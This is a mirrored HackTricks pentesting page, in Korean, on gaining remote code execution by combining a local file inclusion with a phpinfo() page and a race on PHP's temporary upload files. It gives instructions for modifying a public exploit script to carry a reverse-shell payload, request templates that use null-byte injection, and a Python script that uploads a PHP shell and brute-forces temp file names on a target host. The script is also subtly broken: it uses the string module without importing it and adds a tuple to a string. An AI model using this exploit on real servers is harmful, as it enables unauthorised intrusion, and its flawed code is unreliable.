mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
78 lines
5.4 KiB
Markdown
78 lines
5.4 KiB
Markdown
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
|
|
</details>
|
|
|
|
|
|
이 취약점을 악용하기 위해서는 다음이 필요합니다: **LFI 취약점, phpinfo()가 표시되는 페이지, "file\_uploads = on" 및 서버가 "/tmp" 디렉토리에 쓸 수 있어야 합니다.**
|
|
|
|
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
|
|
|
**HTB 튜토리얼**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
|
|
|
취약점을 수정해야 합니다 (**=>**를 **=>**로 변경). 이를 위해 다음을 수행할 수 있습니다:
|
|
```
|
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
|
```
|
|
**페이로드**를 먼저 변경해야 합니다. (예: php-rev-shell), **REQ1**도 변경해야 합니다 (phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 함, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_). 그리고 **LFIREQ**도 변경해야 합니다 (LFI 취약점을 가리켜야 함, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자를 이용하여 공격할 때 이중 "%"를 확인하세요).
|
|
|
|
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
|
|
|
### 이론
|
|
|
|
PHP에서 파일 업로드가 허용되고 파일을 업로드하려고 시도하면, 이 파일은 서버가 요청을 처리하는 동안 임시 디렉토리에 저장되고, 그런 다음 이 임시 파일은 삭제됩니다.
|
|
|
|
그런 다음, 웹 서버에서 LFI 취약점을 찾은 경우 임시 파일의 이름을 추측하고, 서버가 파일을 삭제하기 전에 임시 파일에 액세스하여 RCE를 악용할 수 있습니다.
|
|
|
|
**Windows**에서 파일은 일반적으로 **C:\Windows\temp\php**에 저장됩니다.
|
|
|
|
**Linux**에서 파일의 이름은 일반적으로 **임의의** 이름이며 **/tmp**에 위치합니다. 이름이 임의로 생성되므로 임시 파일의 이름을 **어딘가에서 추출**하고, phpconfig() 함수의 내용에서 **$\_FILES 변수의 값을 읽어야 합니다**.
|
|
|
|
**phpinfo()**
|
|
|
|
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면 클라이언트로 전송**됩니다. 그런 다음 클라이언트는 **큰 헤더를 사용하여 많은 큰 요청**을 보낼 수 있으며, 이를 통해 php **리버스 쉘을 업로드**한 다음, phpinfo()의 **첫 번째 부분이 반환될 때까지 기다린 다음** LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 임시 파일에 액세스하려고 시도할 수 있습니다.
|
|
|
|
**이름을 브루트포스로 추측하기 위한 Python 스크립트 (길이가 6인 경우)**
|
|
```python
|
|
import itertools
|
|
import requests
|
|
import sys
|
|
|
|
print('[+] Trying to win the race')
|
|
f = {'file': open('shell.php', 'rb')}
|
|
for _ in range(4096 * 4096):
|
|
requests.post('http://target.com/index.php?c=index.php', f)
|
|
|
|
|
|
print('[+] Bruteforcing the inclusion')
|
|
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
|
r = requests.get(url)
|
|
if 'load average' in r.text: # <?php echo system('uptime');
|
|
print('[+] We have got a shell: ' + url)
|
|
sys.exit(0)
|
|
|
|
print('[x] Something went wrong, please try again')
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
|
|
</details>
|